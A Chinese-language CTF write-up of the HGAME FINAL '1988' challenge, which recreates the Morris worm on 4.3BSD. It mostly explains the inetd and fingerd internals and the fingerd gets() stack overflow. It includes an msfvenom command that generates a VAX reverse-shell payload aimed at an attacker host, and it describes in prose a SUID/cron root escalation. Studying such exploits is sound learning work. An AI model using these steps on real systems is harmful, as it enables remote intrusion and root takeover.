Skip to main content

HGAME FINAL 1988(莫里斯蠕虫) wp

感觉不是很理解,这个wp之后还会更新,HGAME FINAL 1988 wp – YZS (yizishun.com)

过程就是通过看那个blog,他利用了两个漏洞,1.fingerd的缓冲区溢出执行一段shellcode,shellcode有反弹shell的功能。2,利用一个邮件的漏洞提权(这个不懂)

具体的shellcode是用./msfvenom -p bsd/vax/shell_reverse_tcp lhost=xx.xx.xx.xx > bsd_vax_shell_reverse_tcp.bin这个命令生成的,总之跟随着blog中的脚步就能做出来

前言:我记得我当时做得还挺难受的,全是知识盲区,再加上我服务器的问题,一直得不到反弹回来的shell,最后还是借了l0的服务器(晕,我之前对pwn的认识就是给你一个可执行文件,简单逆向一下,找出里面的一些漏洞点,然后用脚本把shell打出来,这样直接把我丢进一个真实的环境,在真实的环境里面找文件,或者说在一些特定的情境下,比方说之前给的可执行文件都是一些没什么用的程序,但是假如是真实的程序,这些程序真正跑的是真正的服务,甚至是我一点都不了解的web服务,甚至还有提权,我之前也从没见过,我只是一个垃圾的,只打过hgame-mini和hgame的菜鸡,我没见过大世面啊呜呜呜呜,但是我觉得这才是我想象的pwn,之前本来对CTF都有些失去激情了,很好很好,那种最原始的兴奋忽然又有点让我上头了(其实我作业都没动一笔,明天就要交了,可是我好上头,我现在有一种想将这个莫里斯蠕虫的所有细节全部了解清楚的冲动,不管了,到时候抄室友的作业好了)

RTFSC

其实我很不喜欢根据文字描述去理解概念,不管是一些blog或者是Wikipedia或多或少都是从别人的理解出发去阐述一个概念,但是从哲学的角度来说,一个客观存在的物质在不同人的眼中都是不同的样子,况且很多时候blog很多不止二手了,牵扯了过多的主观性,很多可能都是一开始别人不理解的地方的解释,但是你很多不理解的地方和别人的不一样,所以,我觉得了解一切细节,一切概念的最好的方法就是RTFSC,自己去观察那个客观存在的物质,第二就是相关的paper。

inted

这个程序时BSD4.3开机自启的管理程序,主要是对所有端口进行监听,并进行事件分发

第一次看到全是由syscall写的程序,回想pa3写NDL的时候循环调用syscall hhhh,这个程序过长,我还是与gpt联手分析才看懂了皮毛,对于这种全是syscall的程序其实很好读,为什么这么呢,这种程序就是自带strace,并且他的strace还有逻辑,你看在普通linux用strace其实可读性并不好,所以只需要分析其特定的几个syscall即可

这是inted一个大循环,这个大循环的第一步就是用select(2)(l0学长,这个2其实是man 2 select的意思,syscall的描述都在linux的2号手册中)系统调用对所有服务的套接字的fd进行一遍检测,看哪个端口有新的请求连接等事件发生

这一段最主要的syscall是accept,这个syscall对上面select到的fd进行连接,返回一个新的fd,这个fd用来与外部进行连接,并且原fd不受影响,还处于监听状态,这使得fingerd在运行时,inted不会停掉

这一段的关键syscall是fork,fork的返回值如果是0说明现在是处于子进程(fork会创建一个和之前完全相同的进程开始运行,所以在源代码中需要进行分类讨论),在子进程中将上面accept获得fd用dup2系统调用复制到stdin,out,err上面,使得后续的调用服务程序能通过简单的stdin,out,err与外部进行通信(这就是为什么gets的原因吧,如果没有这一步那么在后续的服务程序中就需要进行write,read来进行交互了,这样挺麻烦的)

这里的关键syscall就是execv了,也就是将事件分发给相应端口的程序(c语言的面向对象编程)

整个文件有近1000行,但是主要逻辑不过就是上述的几个syscall

fingerd

fingerd是finger程序的加载程序,后面加个d的程序一般都是加载程序(包括前面的inted),短短100行不到

首先通过getpeername系统调用获得当前sockfd对面那个人的各种信息存在sin和i中,之前blog中要将这个注释掉的原因是stdin(0号fd)没有被设置为远程的fd,他只是测试这一个文件,所以用普通的stdin即可,其实这里可以看出stdin并不关心自己究竟是什么,是从键盘上输入亦或是远程的输入

命令解析,通过将用户传过来的信息gets到line数组中(这里有溢出漏洞),通过一个循环解析line数组,从中解析出传给finger程序的参数等,存在av数组中

这段代码真是开眼界了hhh,这个程序fork一个新的进程来执行finger程序,通过pipe管道进行进程通信,将写端给子进程,并且将写端的fd直接复制给stdout(真是everthing is file啊),只要finger程序输出到stdout就会立马传给父进程(父进程站在管道的另一边接受数据),之后父进程通过输出(putchar)到stdout(socketfd)实现将数据传给外部,最终将finger程序的输出发送(finger(stdout)->fingerd(stdout)->socket->外部)

阶段总结

终于将这个全部搞懂了,一开始给我看blog看的很难受的原因就是我压根不知道fingerd是什么,看的难受就会想办法逃避,但是逃避也逃不了(比赛限时的 555),然后就会更难受,一直循环难受

所以小总结一下吧,操作系统启动时,以root运行inted程序,inted程序通过inted.conf文件来在一个大循环中检查各个socketfd,也就是检查各个端口的情况,看有没有外部的连接请求到了某一个fd,若是某个fd被select到了,就通过accept复制一份这个fd用作后续的通信,但是原fd不会受到影响,所以原fd还是会在每次循环开始时被监听检测,紧接着根据获得的fd fork一个子进程,这个子进程的权限并没有root权限,子进程根据相应的fd进行事件分发,调用相应的handle函数,也就是fingerd(说实话这里要我写的话就通过函数调用直接调用fingerd了,但是这里通过创建子进程(包括后面的finger也是一样)),主要是为了让子进程的执行不会拖慢父进程的速度,并且就算子进程崩溃了,父进程也不会崩溃,接着将上述accpet到的fd复制到子进程的0,1,2fd上面,最后fingerd先gets命令,进行一系列的转化fork并执行finger程序

也就是当ncat -v 127.0.0.1 79,inted检测到79端口,于是调用fingerd,然后就会卡在fingerd的gets()函数直到用户输入一段命令或者payload(捋清楚就会很舒服),然后这一段输入是无限长的,这其实就转化为一个很普通的pwn题目了,并且莫里斯当时应该是一个什么学校的学生,他能获取到BSD4.3的源码,能获得stack的布局,之后就是可以写shellcode啥的,但是目标机器是vax架构的,所以需要msf生成shellcode(msf我初一就下载过,但是当时玩不懂hhhh)

StackOverflow

紧接着就是用dbx调试摸清栈布局来进行栈溢出攻击,这个太常规了,可能有些BSD特定的布局,但总的来说还是很常规的,但是这个在真实环境中将文件复制出来调试的方式还是很值得学习的,如何让这个单文件也能很好的执行以反映真实环境的栈布局,不过他生成的shellcode我倒是从没见过,可以学习一下,他这个是反弹shell,我记得我初中的时候在网上搜”怎么变成黑客“的时候有了解过反弹shell hhh

其实我不是很理解为什么要用反弹shell的方式,让fingerd直接执行/bin/sh不就直接getshell了嘛,可能是一些其他我不清楚的原因吧TODO

让我讲一下反弹shell的shellcode吧,他主要利用了4个syscall,socket,connect,dup2,execve

首先通过socket创建一个套接字(socketfd,我还是喜欢把他看成fd去理解),之后指定攻击者的ip和端口,使用connect进行连接,之后用dup2将stdin,out,err变成之前的套接字,最后执行/bin/sh,攻击端使用ncat监听一个特定的端口(注意,ncat会自动将连接到的fd执行之前的dup2的操作,使我们能在本地通过type命令到stdin就能传送到对方的机器的fd,对方的机器的fd又绑定了他的stdin,对方的shell又会从stdin读命令,并把命令的回显丢到stdout中,stdout现在是socketfd,所以又发回去了),这就是反弹shell的原理吧

我都不太敢复现了,有阴影了(之前一直得不到回弹的shell,55555)

提权

由于fingerd是在低权限运行的,于是需要提权,虽然我之前没有试过提权的题目,但是我猜也是获得高权限的程序的溢出漏洞(或者其他可利用的漏洞),让高权限的程序执行一次/bin/sh

具体是利用sendmail的漏洞,这个服务不通过inted作媒介,而是直接监听25号端口并进行相应的处理

我实在不懂Unix(原谅我知识贫瘠),于是我水课的时候在知乎上学了一点systemd的知识(我太菜了),但是这个BSD4.3是通过init来启动的,也就是os加载的第一个进程,这个init进程根据我的理解,就会fork出很多子进程,每个子进程执行不同的服务

但是它提权好像跟sendmail没有啥关系?不理解,是不是sendmail是用来传播的?

提权好像是利用了SUID提权,emmm,也是第一次听说,原理就是有一种special permmision,把这个特殊权限加在用户上,就使得这个文件的执行用的是该文件拥有者的权限,而不是执行这条命令的人的权限,也就是说如果一个文件被root拥有,你就可以以root权限执行这个命令,具体来说那篇blog是用的movefile程序以root权限创建了一个定时任务的文件,并用umask让任何权限的人都能编辑它,之后用echo写入两个定时任务,第一个命令将bin/sh赋值到/tmp/sh并将其设置那个特殊权限,第二个就是一个清除操作,最后执行这个suid的sh实现提权。第一次学提权,算是开眼界了hhh